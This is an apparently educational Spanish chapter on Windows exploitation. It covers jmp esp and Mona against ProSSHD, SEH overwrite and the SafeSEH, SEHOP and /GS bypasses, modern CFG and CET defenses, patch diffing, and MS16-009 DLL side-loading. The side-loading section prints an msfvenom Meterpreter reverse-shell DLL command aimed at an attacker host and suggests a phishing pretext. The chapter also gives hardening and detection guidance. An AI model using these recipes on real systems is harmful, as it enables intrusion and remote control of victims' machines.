Panorama#
Los dos capítulos anteriores —3.6 y 3.7— sentaron los conceptos comunes a cualquier plataforma: el desbordamiento que pisa el return pointer, el shellcode que sobrevive el tránsito, y la escalera de mitigaciones con sus bypass (ret2libc, ROP contra DEP, fuga de direcciones contra ASLR). Este capítulo cierra el sub-bloque de explotación de memoria llevándolo a Windows, donde el mecanismo es el mismo pero los detalles cambian lo suficiente como para exigir técnicas propias.
Hay dos temas. El primero es el stack overflow en Windows: por qué el clásico salto a la pila muere por un
byte nulo y cómo el vector jmp esp lo resuelve, la automatización con Mona, y —cuando el desbordamiento es
tan grande que el ret nunca se alcanza— la sobrescritura del manejador de excepciones (SEH) como segundo
camino al control del flujo, con el patrón repetido de que cada mitigación (SafeSEH, SEHOP, /GS) cae por su
borde. El segundo es un vector completamente distinto: el patch diffing, que no escribe un exploit de
memoria sino que cosecha el bug del propio parche para armar un 1-day, incluyendo el DLL side-loading
como el caso más rentable. Las mitigaciones que 3.7 ya trató —DEP con ROP hacia VirtualProtect, ASLR con
info-leak— no se repiten aquí; el contrapunto en Linux moderno está en
3.15 · Exploit-dev Linux avanzado.
Por qué Windows cambia las reglas: el byte nulo y jmp esp#
La técnica de Aleph1 —sobrescribir el EIP con una dirección de la pila y saltar al shellcode que hay ahí— no
funciona en Windows por un detalle de disposición de memoria. La pila de Windows vive en direcciones bajas,
así que una dirección que apunte a ella empieza con 0x00; ese byte nulo inicial trunca el payload al copiarse
por una función de cadena. El retorno directo a la pila queda descartado.
La solución es el vector jmp esp. Cuando el programa se desborda y cae, es habitual que el registro ESP
quede apuntando a una porción del buffer controlado por el atacante. Entonces, en vez de poner en el EIP una
dirección de la pila, se pone la dirección de un opcode jmp esp (o call esp, o push esp; ret) que exista en
algún módulo cargado: ese opcode mete ESP en el EIP y ejecuta el shellcode que ya está en la pila. La dirección
del opcode no tiene bytes nulos porque está en el rango de código de la DLL, no en la pila.
La fiabilidad depende de un detalle que decide todo: la dirección del opcode debe ser estable, y ASLR
aleatoriza las bases de los módulos. Pero es frecuente que una DLL de terceros incluida con la aplicación no
esté compilada con /DYNAMICBASE, así que no se rebasa ni participa de ASLR. Encontrar ese módulo —y tomar de él
el jmp esp— es lo que separa una prueba de concepto de un exploit que funciona. Como observa el propio manual
al ver el push esp; ret de MSVCR71.dll: si esto parece la razón por la que se inventó DEP, es exactamente eso
(y el rodeo de DEP es el ROP de 3.7).
Mona y el proceso de exploit-dev en Windows#
El proceso de seis pasos es idéntico al de Linux, pero el instrumental es Windows-específico: Immunity
Debugger (o WinDbg) como depurador y el plug-in Mona de Corelan para automatizar casi todo. El caso del
manual es ProSSHD v1.2, con un desbordamiento post-autenticación al enviar más de 500 bytes en el path de
un SCP GET.
config -set workingfolder c:\logs\%p
pc 500 # pattern create de 500 bytes
po 41337141 # pattern offset del valor que cayó en EIP → 489
modules -o # lista módulos y sus mitigaciones (-o excluye los del SO)
jmp -r esp -m msvcr71.dll # busca jmp/call/push esp en el módulo sin ASLR → 0x7c345c30
Con el offset (489) y la dirección del opcode (0x7c345c30), el buffer se arma como
[489 de relleno][0x7c345c30][NOPs][shellcode]. El shellcode se genera con msfvenom, excluyendo los bad
chars que el protocolo maltrata —los de whitespace/control (\x00\x20\x0a\x0d\x1b\x0b\x0c)—, verificados uno
por uno hasta que todos los bytes aparecen intactos en la pila. Cuando el EIP y el ESP quedan demasiado juntos y
el shellcode corre riesgo de pisarse a sí mismo durante su propia decodificación, se antepone un stack pivot
(add esp,-450) que separa ESP del código.
wsshd.exe, que solo existe mientras hay una conexión activa. El script de disparo incluye un
sleep(15) para dar tiempo a attachear el depurador a ese hijo efímero antes de que el payload llegue. Es
un recordatorio de que el objetivo real del exploit muchas veces no es el binario que se ve en la lista de
procesos.La sobrescritura de SEH: el segundo camino a EIP#
Un buffer suficientemente grande suele provocar una access violation antes de que la función llegue a su
epilog: la ejecución nunca alcanza el ret, y sobrescribir el return pointer no sirve de nada. Windows
ofrece, sin quererlo, un segundo camino. Cada hilo mantiene en la pila una cadena de manejadores de excepción
—el Structured Exception Handling (SEH)—: arranca en FS:[0] (el Thread Information Block), cada registro
EXCEPTION_REGISTRATION ocupa 8 bytes (un puntero prev al registro anterior y un puntero handler a la
rutina), y la cadena termina en 0xFFFFFFFF. Cuando se dispara la excepción que causó el desbordamiento, el
sistema operativo llama al handler — y ese handler está en la pila, al alcance del overflow.
flowchart TD O["Overflow enorme →\naccess violation ANTES del ret"] --> S["El SO recorre la cadena SEH\ny llama al handler"] S --> H["handler pisado =\ndirección de un POP/POP/RETN\n(en una DLL)"] H --> N["POP/POP/RETN retorna a\n_EstablisherFrame (ESP+8)\n= el NSEH pisado"] N --> J["NSEH = EB 06 90 90\n(jmp short +6)"] J --> C["Shellcode del atacante"]
El ataque clásico pisa dos campos contiguos: el NSEH con los bytes EB 06 90 90 —un jmp short +6 que salta
hacia adelante por encima del campo del handler— y el handler con la dirección de una secuencia
POP/POP/RETN tomada de una DLL. Cuando el sistema invoca el handler, el POP/POP/RETN retorna a
_EstablisherFrame (que está en ESP+8), es decir, al NSEH que se pisó; ese jmp short +6 salta al área del
shellcode. El rodeo parece indirecto, pero es fiable porque la relación entre el handler llamado y el
_EstablisherFrame es fija.
Cómo caen SafeSEH, SEHOP y /GS#
Microsoft respondió a la sobrescritura de SEH con dos mitigaciones dedicadas, y al overflow con el stack cookie. Las tres caen, y el patrón es el mismo de todo el arco: no se rompen de frente, se rodean por el borde que no cubren.
- SafeSEH. Compila en el binario una tabla de handlers válidos que
RtlDispatchExceptionverifica antes de llamar a ninguno. El bypass es trivial: tomar elPOP/POP/RETNde un módulo que no fue compilado con SafeSEH (se verifica con Mona o con OllySSEH). Un solo módulo sin la protección alcanza. - SEHOP. Recorre toda la cadena SEH en tiempo de excepción y exige que termine en
ntdll!FinalExceptionHandler; una cadena rota la delata. El bypass (técnica de Sysdream) reconstruye una cadena SEH falsa que sí termina en elFinalExceptionHandlerreal, usando un gadgetXOR reg,reg; POP; POP; RETNque pone el zero flag y un salto condicionalJE(0x74) en lugar delJMP short(0xEB) para encadenar bajo las condiciones que SEHOP verifica. - /GS. Coloca un cookie secreto (XOR con EBP) sobre el EBP y el return pointer guardados, y lo valida al
retornar. Su hueco: no protege los registros SEH. Si la excepción se dispara antes de que la función llegue
a validar el cookie, se controla el flujo por la vía SEH sin haber tocado el canario. Además, el cookie no
siempre se aplica (funciones sin buffer,
naked, con inline asm, varargs, o con buffers de menos de 4 bytes) y su entropía es predeciblemente débil, como mostró Skape.
!mona modules) es el
primer paso de todo exploit de Windows, porque un solo DLL mal compilado —sin ASLR, sin SafeSEH— abre el vector
entero. La defensa, en espejo, es no dejar ningún módulo débil en la superficie (ver la sección final).Bajo el capó: CFG, CET y por qué el jmp esp de este capítulo ya no alcanza#
Todo lo anterior —el jmp esp, el POP/POP/RETN sobre el handler, la sobrescritura de SEH— asume un modelo de
ejecución que un proceso Windows endurecido de hoy ya no ofrece. Las mitigaciones de la sección previa
(SafeSEH/SEHOP//GS) caían por su borde; la generación siguiente —CFG, luego XFG, y CET en hardware—
cambió el juego de forma más profunda, y vale abrirla porque explica cuáles de las técnicas de este capítulo
siguen funcionando y bajo qué condición. No es la era del tratado clásico: es lo que un objetivo de 2026 impone de
fábrica.
CFG: integridad de flujo en la arista hacia adelante. Control Flow Guard (/guard:cf) es CFI de arista
forward: el compilador instrumenta cada llamada indirecta con una comprobación (_guard_check_icall) que,
antes de saltar, consulta un mapa de bits que el SO mantiene marcando los destinos válidos —los puntos de entrada
legítimos de función, con granularidad gruesa—. Una llamada indirecta a una dirección que no es inicio de una
función registrada (el medio de una rutina, un gadget jmp esp, la pila) dispara un fast-fail
(RtlFailFast). Lo que anula directamente: el overwrite de un puntero a función arbitrario y el clásico «poner la
dirección de un gadget en una ranura de llamada indirecta», porque el destino tiene que ser ahora una entrada de
función bendecida. Pero CFG es grueso: cualquier inicio de función válido pasa, no verifica la firma de la
llamada y —lo decisivo— no hace nada por la arista hacia atrás, la dirección de retorno, que es exactamente lo
que el jmp esp y el ROP de 3.7 abusan.
XFG: cerrar el grano grueso. eXtended Flow Guard (XFG), el sucesor de CFG, estrecha eso: el destino no solo debe ser un inicio de función válido sino coincidir con el hash del prototipo esperado de la llamada (una firma de tipo almacenada justo antes de la función), de modo que una llamada indirecta solo alcanza funciones de la forma correcta. Reduce el conjunto de destinos «válidos» de «cualquier función» a «cualquier función de este tipo», destripando el reuso orientado a llamadas que CFG dejaba abierto.
CET: integridad de la arista hacia atrás, en hardware. La dirección de retorno —el destino del ret
sobrescrito de este capítulo y del ROP de 3.7— la cierra CET (Control-flow Enforcement Technology), impuesta
por el procesador (Intel Tiger Lake en adelante, AMD Zen 3+), que Windows expone como Hardware-enforced Stack
Protection. Tiene dos partes. El shadow stack: la CPU mantiene una segunda copia protegida de las
direcciones de retorno; cada call empuja a la pila normal y a la shadow, y cada ret las compara —una
discrepancia levanta una falla #CP (control protection)—. El atacante todavía puede sobrescribir la dirección
de retorno en la pila normal (la premisa entera de 3.6-3.8), pero no puede tocar la copia shadow, así que el
retorno forjado se detecta en hardware: el secuestro clásico de retorno y el ROP mueren en el ret. Y el IBT
(Indirect Branch Tracking): todo destino válido de un salto indirecto debe empezar con una instrucción ENDBR64;
un salto o llamada indirecta que aterrice en cualquier otro lado levanta #CP —cerrando el JOP/COP igual que el
shadow stack cierra el ROP—.
Qué sobrevive, y por qué este capítulo no es letra muerta. Nada de esto vuelve obsoleto al capítulo: lo vuelve
condicional, que es la misma tesis que el capítulo ya carga («enumerar las mitigaciones por módulo»), ahora en
la capa moderna. Tres supervivencias. (1) Procesos y módulos heredados o sin endurecer: CET exige que el
proceso entero sea compatible (CETCOMPAT) y CFG que cada módulo se compile con /guard:cf; un solo DLL
incompatible puede degradar el proceso a modo compatibilidad y desactivar la aplicación del shadow stack, y una
aplicación que distribuye un DLL sin CFG reabre la arista forward —exactamente la lógica del msvcr71.dll sin
ASLR de este capítulo, actualizada—. (2) La vía SEH y otras rutas que no secuestran un retorno ni una llamada
indirecta de frente. (3) Los data-only attacks: corromper el dato que consume un flujo de control válido y
permitido, sin violar jamás el CFI —el mismo giro que en el kernel de 3.21—. La forma
moderna del ataque es, entonces, info-leak (ASLR sigue en pie) más una técnica que respete el shadow stack
y el conjunto de destinos de CFG/IBT, o sencillamente un objetivo que no encendió nada de esto. Para el defensor,
el corolario afina el endurecimiento de la sección final: /guard:cf (y XFG donde exista) sumado a
CET/Hardware-enforced Stack Protection, impuesto en todo el proceso sin ningún módulo incompatible, es lo que
de verdad retira las técnicas de arriba —y la verificación en espejo es que la enumeración por módulo debe
mostrarlas en todos los módulos, no en la mayoría—.
Patch diffing: cosechar el bug del propio parche#
El patch diffing es un vector distinto a todo lo anterior: en vez de descubrir una vulnerabilidad, la extrae del parche que la corrige. Cuando un fabricante publica una versión corregida de una DLL, un driver o una aplicación, el delta entre la versión vulnerable y la parchada revela exactamente qué código cambió. Como la mayoría de las vulnerabilidades se divulgan con información mínima, ese diff es la forma más rápida de localizar el bug y armar un 1-day exploit —el que se desarrolla después del parche, revirtiéndolo—. Se cotiza en menos que un 0-day pero es mucho más barato de producir, y sigue siendo rentable porque muchas organizaciones no parchan rápido: la ventana entre el Patch Tuesday (segundo martes del mes) y el despliegue real es la oportunidad.
Comparar binarios grandes a mano en IDA sería inviable, así que se usan plug-ins que emparejan las funciones de ambas versiones y las puntúan por similitud. BinDiff (de Zynamics/Google, gratuito) asigna un Similarity de 0 a 1.0 en su pestaña Matched Functions —cuanto más bajo, más cambió la función— y lista en Primary/Secondary Unmatched las que existen en un binario y no en el otro. turbodiff (de Core Security) etiqueta cada función como identical / suspicious+ / suspicious++ / changed.
flowchart LR P["Patch Tuesday\ncumulative update"] --> E["PatchExtract / PatchClean\n(filtra el ciclo actual)"] E --> V["Versión inmediatamente anterior\n(link «Updates Replaced»)"] V --> D["BinDiff / turbodiff\nvulnerable vs parchado"] D --> F["La(s) función(es)\nque cambió"] F --> A["Leer el disassembly:\n¿info-leak o RCE?"] A --> X["1-day exploit"]
El detalle de calidad es diffear las versiones correctas: comparar una DLL contra un parche de hace meses
llena el resultado de ruido, porque una DLL como mshtml.dll se parcha casi todos los meses. Se usa el enlace
«Updates Replaced» de Microsoft para tomar la versión inmediatamente anterior, de modo que todo cambio se
asocie al CVE de interés. Extraer el parche tampoco es trivial: los cumulative updates de Windows 10 traen
todos los updates de esa versión (más de un gigabyte, miles de subcarpetas); PatchExtract los desempaqueta
y PatchClean aparta lo modificado hace más de treinta días, dejando solo los archivos del ciclo actual.
No todo diff lleva a ejecución de código. En MS17-010, la función SrvSmbTransaction de srv.sys gana en
la versión parchada varias llamadas a memset que inicializan un buffer a cero antes de usarlo: es el arreglo de
una fuga de información (CVE-2017-0147), no un RCE. Distinguir un fix de info-disclosure de uno de
ejecución es parte de leer el diff.
DLL side-loading: un RCE limpio de un solo flag#
El caso más rentable del capítulo es MS16-009, donde el diff de urlmon.dll muestra una sola función
cambiada (BuildUserAgentStringMobileHelper) y el cambio es de un solo argumento. En la versión vulnerable, el
dwFlags de LoadLibraryEx está en 0 —lo que activa el SafeDllSearchMode, que busca la DLL también en el
directorio actual y el PATH, ubicaciones influenciables por el atacante—; en la parchada pasa a 0x800
(LOAD_LIBRARY_SEARCH_SYSTEM32), que restringe la carga a System32. La DLL buscada, phoneinfo.dll, no existe
en Windows 10 base, así que Internet Explorer y Skype la buscan por el orden de búsqueda y la encuentran en
C:\Python27\, una carpeta escribible que está en el search path. Plantando allí un phoneinfo.dll malicioso
—generado con msfvenom como un Meterpreter—, al abrir Skype se carga la DLL y se establece la sesión de
comando y control (3.10). Un diff de un solo flag reveló toda la cadena, que en
la práctica se completa con evasión de AV (3.11) sobre el payload y un pretexto de
phishing («actualización crítica de Skype»).
# confirmar qué DLL falta y desde dónde se carga
procmon.exe # filtros: Result = "NAME NOT FOUND", Path termina en "phoneinfo.dll"
# armar y servir la DLL maliciosa
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI> LPORT=443 -f dll -o phoneinfo.dll
python3 -m http.server 8080
# la víctima descarga phoneinfo.dll a C:\Python27\ y abre Skype → Meterpreter
Defensa y detección#
La defensa contra los exploits de memoria de Windows es no dejar ningún módulo débil en la superficie, y la del patch diffing es cerrar rápido la ventana del 1-day.
- Endurecimiento. Compilar toda la superficie —incluidas las DLLs de terceros que la aplicación
distribuye— con
/DYNAMICBASE(ASLR),/NXCOMPAT(DEP),/SafeSEH,/GSy/GUARD:CF(Control Flow Guard; XFG donde esté disponible); forzar ASLR obligatorio y SEHOP a nivel de sistema, hoy a través de Windows Defender Exploit Guard (sucesor de EMET). La capa que de verdad retira las técnicas de este capítulo es la CFI moderna (ver «Bajo el capó»): CET / Hardware-enforced Stack Protection contra el ROP y el secuestro de retorno, impuesta en todo el proceso —un solo módulo sin CFG o incompatible con CET degrada la protección de todos—. Contra el 1-day: parchear rápido, priorizando por el catálogo KEV de vulnerabilidades explotadas. Contra el DLL side-loading:KnownDLLs,SetDefaultDllDirectoriesconLOAD_LIBRARY_SEARCH_SYSTEM32, AppLocker/WDAC para bloquear DLLs no firmadas desde rutas escribibles, y auditar las carpetas world-writable que estén en el search path (elC:\Python27\del caso). - Detección. Un servicio que crashea repetidamente deja la firma en el registro de eventos —Event ID
1000 (Application Error, con el módulo y el offset del fallo) y 1001 (Windows Error Reporting)—: es
el IOC de un exploit en desarrollo o en uso, la misma telemetría de crash que delata el fuzzing. Para el
side-loading, Sysmon Event ID 7 (Image/DLL Loaded) filtrando DLLs sin firmar cargadas desde rutas
anómalas por procesos confiables —un
phoneinfo.dlldesdeC:\Python27\cargado por Skype es el IOC—; y Procmon con el filtroNAME NOT FOUNDrevela qué DLLs faltan y son candidatas al abuso, que es exactamente la técnica que el atacante usa para encontrar el vector: puro trabajo púrpura. El proceso hijo que nace tras el crash —unacalc.exe/cmd.exe, o el beacon Meterpreter— cae en la telemetría de creación de proceso (Event ID 4688 / Sysmon 1), correlacionable en el SIEM con la cadena padre-hijo anómala del lado blue (ver 4.9 · Defensa de Active Directory).
Referencias#
red-infra/grayhat/cap-04— Windows Exploits: el byte nulo y el vectorjmp esp, Mona y el módulo sin ASLR (ProSSHD/MSVCR71.dll), la sobrescritura de SEH, y el bypass de SafeSEH/SEHOP/GS.red-infra/grayhat/cap-06— Next-Generation Patch Exploitation: binary/patch diffing con BinDiff/turbodiff, la economía del 1-day, y el DLL side-loading de MS16-009.- Corelan Team, Exploit writing tutorial part 3: SEH — el tratamiento de referencia de la sobrescritura de SEH.
- Zynamics / Google, BinDiff — la herramienta de binary diffing.
- MITRE ATT&CK — T1574.002 DLL Side-Loading y T1203 Exploitation for Client Execution.
- Microsoft — Control Flow Guard y Understanding Hardware-enforced Stack Protection (CET shadow stack + IBT); Intel — Control-flow Enforcement Technology (CET). Nativo para la capa de CFI moderna (CFG/XFG/CET) que el tratado Gray Hat Hacking no cubre.